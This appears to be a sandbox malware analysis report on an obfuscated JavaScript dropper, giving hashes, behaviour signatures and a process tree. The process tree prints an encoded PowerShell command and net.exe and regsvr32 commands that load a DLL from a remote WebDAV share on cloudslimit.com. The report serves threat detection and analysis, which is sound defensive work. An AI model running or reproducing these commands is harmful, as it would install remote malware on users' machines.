Analysis

  • max time kernel
    91s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 15:57

General

  • Target

    213911248442766951.js

  • Size

    19KB

  • MD5

    5c2d257e51e5f6cb4ea13e803c140c6b

  • SHA1

    081f1ae150c216471841da74da846eb1480ae271

  • SHA256

    6e5c3fb55548ba47c94bda0ead0d360f889ddef72fa339309640cfc34f31a52b

  • SHA512

    afe3a87c7e334fe2abb217ee9cf8cb02ccf36fdeeea223da51301d75883bf8b0a703ecfeece1f3ac8334ed135581efc98d033f17a8cfc126d09f05ed2b9ae25b

  • SSDEEP

    384:lDuN6ZVSsdzKGvbPUf5tssFtcD2Yj6gzjNfAvM1PsUK3Z0jZe06iTmVFfKN6YjsW:puYZVSsdzKGvbsf5Pm

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\213911248442766951.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA5ADEANwA2ADEAMgAwADcANQAxADEAMAA1ADEALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2736
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\91761207511051.dll
          3⤵
            PID:2480

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mikzcxn3.0px.psm1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3380-0-0x00007FFF84923000-0x00007FFF84925000-memory.dmp

        Filesize

        8KB

      • memory/3380-1-0x0000025C7A8D0000-0x0000025C7A8F2000-memory.dmp

        Filesize

        136KB

      • memory/3380-11-0x00007FFF84920000-0x00007FFF853E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3380-12-0x00007FFF84920000-0x00007FFF853E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3380-15-0x00007FFF84920000-0x00007FFF853E1000-memory.dmp

        Filesize

        10.8MB